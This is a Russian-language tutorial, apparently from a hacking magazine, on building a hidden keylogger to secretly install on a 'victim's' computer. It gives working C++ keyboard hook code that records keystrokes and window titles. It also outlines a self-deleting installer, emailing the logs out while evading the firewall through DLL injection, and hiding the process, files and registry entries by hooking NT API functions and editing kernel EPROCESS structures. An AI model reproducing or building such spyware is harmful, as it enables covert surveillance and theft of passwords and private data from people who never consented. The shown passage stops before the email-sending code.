Введение

С помощью небольших программ – клавиатурных шпионов (keyboard loggers) - Вы можете узнать, что делали на Вашем компьютере, пока Вас не было в офисе или дома. Если же Вы сумеете подложить их на чужой компьютер, то получите возможность узнавать практически обо всех действиях хозяина компьютера.

Метод работы таких программ очень напоминает способ, о котором не раз рассказывали в какой-то детской передаче про частных детективов. Вы наверняка его помните: под скатерть на столе Вы кладете лист обычной бумаги, а на него – лист копирки. Теперь все, что будет написано за этим столом, через копирку отпечатывается на листе бумаги. Здесь главное – незаметно подложить копирку под скатерть, а потом также незаметно вытащить результат.

Напишем подобную программу, выполняющую следующие действия:

  • Разумеется запись всех нажатий клавиш в определенный файл лога. В программе реализуем возможность указывать путь к файлу лога, записывать в этот файл дату и время начала лога, отслеживать нажатия спец-клавиш
    (Insert, Delete, Home, End, Shift,…).
  • Также нам необходимо скрыть лог-файл от посторонних глаз, чтобы пользователь при его обнаружении не стал задаваться лишними вопросами. Мало того, что лог-файл будет иметь атрибуты «скрытый, системный», его еще не будет видно в проводнике и в консоли. В общем его вообще «не будет», пока шпион запущен
    🙂
  • Реализуем программу установки нашего шпиона так, чтобы можно было без проблем «подкладывать копирку под скатерть». Другими словами, достаточно будет запустить один единственный предварительно настроенный exe-файл, который после установки шпиона самоуничтожается. Представьте: Вы просто запускаете программу, она выдает предупреждение об успешности/неуспешности установки шпиона и исчезает навсегда. Думаю, это самый быстрый и удобный способ установки шпиона в систему.
  • А как нам удобнее забирать результаты работы шпиона? Пойдем двумя путями:
    1). Просто копируем файл лога на дискету, флеш или на другой носитель, и уносим с собой. Не очень удобный путь, но надежный.
    2). А если у нашей жертвы есть доступ в Internet? Почему бы не воспользоваться этим и не отправить лог-файл на указанный почтовый ящик? Реализуем и эту возможность в нашей программе. Зададим ей адрес e-mail, smtp-сервер и его порт и e-mail адрес отправителя. Каждую минуту или каждые 60 минут – как нашей душе угодно – посылаем сообщение с вложенным файлом лога. Также реализуем возможность сжатия лог-файла при передаче, т.к. у жертвы может быть Dial up, а это медленно и размер отправляемого файла здесь играет существенную роль. При этом попытаемся скрыть факт отправки от брандмауэра.
  • Любой клавиатурный шпион должен быть незаметен, причем настолько, чтобы пользователь, даже опытный, не смог почувствовать его существование в системе своей машины. Реализуем сокрытие процесса нашего шпиона и его exe-файла из проводника и консоли. Также скроем все записи в реестре, относящиеся к нашей программе.
  • Теперь подумаем, что делать, если шпион нам больше не нужен. Он сделал свою работу и его необходимо ликвидировать. Нам нужно встроить в свою программу возможность удаления шпиона по расписанию и/или при нажатии горячей клавиши.

Проект

Мы задумали реализовать относительно много возможностей. Теперь необходимо для удобства структурировать все наши затеи. Назовем все, что мы задумали, одним словом – KeyDumpXX. Разобьем KeyDumpXX на несколько частей:

KeyDump9x,
KeyDumpNT,
KeyDmpSet,
KeyDmpCfg,
KeyDmpUnp.

KeyDump9x будет отвечать за лог нажатий клавиш в системах Windows 9x\Me, а KeyDumpNT – в системах Windows NT\2000\XP\2003. KeyDmpSet будет программой установки шпиона в систему. Это тот самый exe-файл, который достаточно будет запустить один раз и все будет готово. KeyDmpCfg – программа настройки шпиона и установщика. KeyDmpUnp – программа распаковки сжатых лог-файлов, присланных шпионом по электронной почте.

Я решил реализовать это все таким образом: пишем программу KeyDump9x, пишем программу KeyDumpNT. Пишем программу KeyDmpSet. Добавляем в конец исполняемого файла программы KeyDmpSet exe-файлы KeyDump9x.exe и KeyDumpNT.exe. Там же прописываем путь, куда установить шпиона в системе. При запуске KeyDmpSet.exe будет проверяться версия системы и если она - линейки 9x, то устанавливаем KeyDump9x.exe, запускаем ее и при выходе выдаем сообщение и уничтожаемся. С линейкой NT действуем аналогично, только в ход уже вступает KeyDumpNT.

Программа KeyDmpCfg будет содержать в себе графический интерфейс настройки и программу KeyDmpSet.exe, которая будет создаваться после задания всех настроек и нажатия кнопки в диалоговом окне.

Таким образом, мы планируем сделать настройку/установку шпиона максимально простыми для пользователя.

Реализация

Напишем нашего шпиона, используя среду Microsoft Visual C++ 6.0 с установленным Service Pack’ом 6 и с заголовочными файлами из Visual C++ 7.1 .NET. Также для сокрытия процесса будет присутствовать код на ассемблере, который компилируется MASM’ом 8.2.

Теперь рассмотрим по порядку реализацию всего, что мы задумали.

Будем рассматривать реализацию KeyDumpNT, т.к. реализация KeyDump9x содержит меньше кода и в данных программах будут встречаться одинаковые его участки.

Разобьем эту программу на несколько модулей:

  • CBase64 – класс, отвечающий за кодирование сообщения электронной почты алгоритмом Base64.
  • CHideNTProcess – класс, который содержит в себе код для сокрытия процесса в системе Windows
    NT\2000\XP\2003.
  • CInjectDllEx – класс усовершенствованного метода внедрения DLL. Этот метод необходим для сокрытия факта отправки сообщения от firewall’а. Метод я постарался описать в своей предыдущей статье. Ссылку на неё можно найти в конце этой статьи.
  • Compression – модуль с классом CLzhCompress для сжатия файла лога при отправке по
    e-mail.
  • DelSelf – модуль самоудаления шпиона из системы.
  • Logging – модуль установки ловушек для клавиш.
  • PHide – модуль сокрытия процесса шпиона на уровне ядра.
  • SendMail – модуль отправки сообщения.
  • Encryption – модуль расшифровки зашифрованных адресов почтового ящика и smtp-сервера.

Перехват

Итак, рассмотрим непосредственно перехват клавиатуры. Hook-процедуры для ловушек WH_KEYBOARD_LL и WH_JOURNALRECORD выглядят следующим образом:

LRESULT CALLBACK KeyboardLL(INT code,WPARAM wParam,LPARAM lParam)
{
if(code == HC_ACTION)
{
if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
{
DWORD dwCount, dwBytes;
CHAR svBuffer[256];
INT vKey, nScan;

vKey = ((PKBDLLHOOKSTRUCT)lParam)->vkCode;
nScan = ((PKBDLLHOOKSTRUCT)lParam)->scanCode;

//Запись нажатой клавиши в файл
lstrcpy(svBuffer,GetKeyName(vKey));
dwCount = lstrlen(svBuffer);
if(dwCount)
{
//
Проверка, изменился ли фокус ввода
HWND hFocus = GetForegroundWindow();
if(hLastFocus != hFocus)
{
CHAR svTitle[256];
INT nCount;

nCount = GetWindowText(hFocus,svTitle,256);
if(nCount > 0 && ((bDumpSpecKeys && dwCount > 1) || (!bDumpSpecKeys && dwCount == 1)))
{
CHAR svBuffer[512];

if(!bWriteTimeDate)
{
if(GetFileSize(hCapFile,0) > 0)
WriteFile(hCapFile,"\r\n",2,&dwBytes,0);
}
else
WriteFile(hCapFile,"\r\n",2,&dwBytes,0);
wsprintf(svBuffer,"{%s}\r\n",svTitle);
WriteFile(hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,0);
}
hLastFocus = hFocus;
}
if(dwCount == 1)
{
BYTE kbuf[256];
WORD ch;
INT chcount;

GetKeyboardState(kbuf);
chcount = ToAsciiEx(vKey,nScan,kbuf,&ch,0,
GetKeyboardLayout(GetWindowThreadProcessId(hFocus,0)));
if(chcount > 0)
WriteFile(hCapFile,&ch,chcount,&dwBytes,0);
}
else if(bDumpSpecKeys)
{
WriteFile(hCapFile,"[",1,&dwBytes,0);
WriteFile(hCapFile,svBuffer,dwCount,&dwBytes,0);
WriteFile(hCapFile,"]",1,&dwBytes,0);
}
}
}
}
return CallNextHookEx(hLogHook,code,wParam,lParam);
}

//HOOK-процедура
LRESULT CALLBACK JournalLogProc(INT code,WPARAM wParam,LPARAM lParam)
{
if(code < 0)
return CallNextHookEx(hLogHook, code,wParam,lParam);

if(code == HC_ACTION)
{
EVENTMSG *pEvt = (EVENTMSG*)lParam;
if(pEvt->message == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
{
DWORD dwCount,dwBytes;
CHAR svBuffer[256];
INT vKey,nScan;

vKey = LOBYTE(pEvt->paramL);
nScan = HIBYTE(pEvt->paramL);
nScan <<= 16;

//Запись нажатой клавиши в файл
lstrcpy(svBuffer,GetKeyName(vKey));
dwCount = lstrlen(svBuffer);
if(dwCount)
{
//
Проверка, изменился ли фокус ввода
HWND hFocus = GetActiveWindow();
if(hLastFocus != hFocus)
{
CHAR svTitle[256];
INT nCount;

nCount = GetWindowText(hFocus,svTitle,256);
if(nCount > 0 && ((bDumpSpecKeys && dwCount > 1) || (!bDumpSpecKeys && dwCount == 1)))
{
CHAR svBuffer[512];

if(!bWriteTimeDate)
{
if(GetFileSize(hCapFile,0) > 0)
WriteFile(hCapFile,"\r\n",2,&dwBytes,0);
}
else
WriteFile(hCapFile,"\r\n",2,&dwBytes,0);
wsprintf(svBuffer,"{%s}\r\n",svTitle);
WriteFile(hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,0);
}
hLastFocus = hFocus;
}
if(dwCount == 1)
{
BYTE kbuf[256];
WORD ch;
INT chcount;

GetKeyboardState(kbuf);
chcount = ToAsciiEx(vKey,nScan,kbuf,&ch,0,
GetKeyboardLayout(GetWindowThreadProcessId(hFocus,0)));
if(chcount > 0)
WriteFile(hCapFile,&ch,chcount,&dwBytes,0);
}
else if(bDumpSpecKeys)
{
WriteFile(hCapFile,"[",1,&dwBytes,0);
WriteFile(hCapFile,svBuffer,dwCount,&dwBytes,0);
WriteFile(hCapFile,"]",1,&dwBytes,0);
}
}
}
}
return CallNextHookEx(hLogHook,code,wParam,lParam);
}

Как видите, они практически идентичны. Здесь мы использовали ловушки WH_KEYBOARD_LL и WH_JOURNALRECORD вместо популярной WH_KEYBOARD. Зачем нам две? Ведь можно было просто обойтись WH_KEYBOARD_LL. Просто в системе Windows NT SP0-SP2 нет поддержки WH_KEYBOARD_LL, поэтому добавлена дополнительная ловушка WH_JOURNALRECORD для совместимости. В KeyDump9x только она и используется, т.к. в Windows 9x\Me нет поддержки перехвата ввода с клавиатуры на низком уровне.

Заметим, что в нашей программе не будет использования внешней DLL, необходимой для перехвата нажатий клавиш. Процедуры перехвата будут реализованы внутри самой программы.

Остальной код можно посмотреть в исходниках, прилагаемых к статье.

Сокрытие

Простейший метод реализации сокрытия (исключая случаи, когда сказано обратное) – это вызов оригинальной функции с оригинальными аргументами и замена ее выходных данных.

Опишем методы сокрытия файлов, процессов, ключей и значений реестра, и используем эти методы. Наш код для сокрытия всего вышеперечисленного будет на ассемблере.

Сокрытие файлов

Существует несколько способов сокрытия файлов, чтобы ОС не могла их видеть. Мы не будем использовать возможности файловой системы, т.к. не знаем, какая она у нас конкретно и как работает, а просто изменим API. Поиск файла в wNT в какой-либо директории заключается в просмотре всех файлов этой директории и файлов всех ее поддиректорий. Для перечисления файлов используется функция NtQueryDirectoryFile:

NTSTATUS NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);

Её мы и будем перехватывать. Также нужно перехватить функцию NtVdmControl, с помощью которой можно получить список файлов из эмулятора DOS’а:

NTSTATUS NtVdmControl( 
IN ULONG ControlCode,
IN PVOID ControlData
);

Код перехвата можно увидеть в исходниках.

Сокрытие процессов

Свой процесс будем скрывать двумя способами – перехватывать всем (или не всем, но большинству) известную системную функцию NtQuerySystemInformation:

NTSTATUS NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

Чтобы получить желаемый эффект, мы должны заразить все запущенные процессы, а также процессы, которые будут запущены позже. Новые процессы должны быть заражены до выполнения первой инструкции их кода, иначе они смогут увидеть наши скрытые объекты до того, как функции будут перехвачены.

Перечисление процессов производится уже упомянутой API-функцией NtQuerySystemInformation. Для перехвата функций используется метод перезаписи её первых инструкций. Это делается для каждого
запущенного процесса. Мы выделим память в нужном процессе, где запишем новый код для функций, которые хотим перехватить. Затем заменим первые пять байт этих функций на инструкцию jmp. Эта инструкция будет перенаправлять выполнение на наш код. Так, инструкция jmp будет выполнена сразу, как только функция будет вызвана. Мы должны сохранить первые инструкции каждой перезаписанной функции - они необходимы для вызова оригинального кода перехваченной функции.

Заражение всех запущенных процессов не затронет процессы, которые будут запущены позже. Нам лучше перехватить функцию, которая вызывается, когда стартует новый процесс. Так как все запущенные в системе процессы заражены, мы не сможем пропустить ни один новый процесс, используя данный метод. Будем перехватывать функцию NtResumeThread, которая всегда вызывается при старте нового процесса.
Она вызвается после NtCreateThread:

NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

Второй способ заключается в сокрытии процесса на уровне ядра. Используем для этого библиотеку phide, также написанную на ассемблере. Недостаток этого метода в том, что он будет работать только, если пользователь, под которым работает наш шпион, - администратор. Суть этого метода в изменении полей системных структур EPROCESS.

Сокрытие ключей и значений реестра

Реестр Windows - это достаточно большая древовидная структура, содержащая два важных типа записей, которые мы можем захотеть скрыть. Первый тип - ключи реестра, второй - значения реестра. Будем перехватывать функции NtEnumerateKey и NtEnumerateValueKey:

NTSTATUS NtEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass, 
OUT PVOID KeyInformation,
IN ULONG KeyInformationLength,
OUT PULONG ResultLength
);

NTSTATUS NtEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG KeyValueInformationLength,
OUT PULONG ResultLength
);

Благодаря структуре реестра, мы не можем запросить список всех ключей в какой-либо его части. Мы можем получить информацию только об одном ключе, указанным его индексом. Наиболее важным является понимание того, что если мы скроем ключ, то индексы всех последующих ключей будут сдвинуты. И так как нам придется получать информацию о ключе с большим индексом запрашивая ключ с меньшим индексом, мы должны подсчитать количество записей до скрытой и вернуть правильное значение.

Значения реестра не отсортированы, в отличие от ключей. К счастью, их количество в одном ключе достаточно мало, поэтому мы можем перевызывать функцию, чтобы получить сдвиг.

Отправка сообщения с вложенным файлом лога

Чтобы нам удобнее было забирать результаты работы нашего шпиона, напишем следующую процедуру отправки сообщения с вложенным лог-файлом...

(Продолжение следует)

Check Also

Фреймворки для постэксплуатации. Выбираем между Metasploit, Cobalt Strike, Merlin, Apfell, Faction C2, Koadic и другими

В этой статье мы поговорим о фреймворках, которые помогут эксплуатировать уязвимости, закр…

Оставить мнение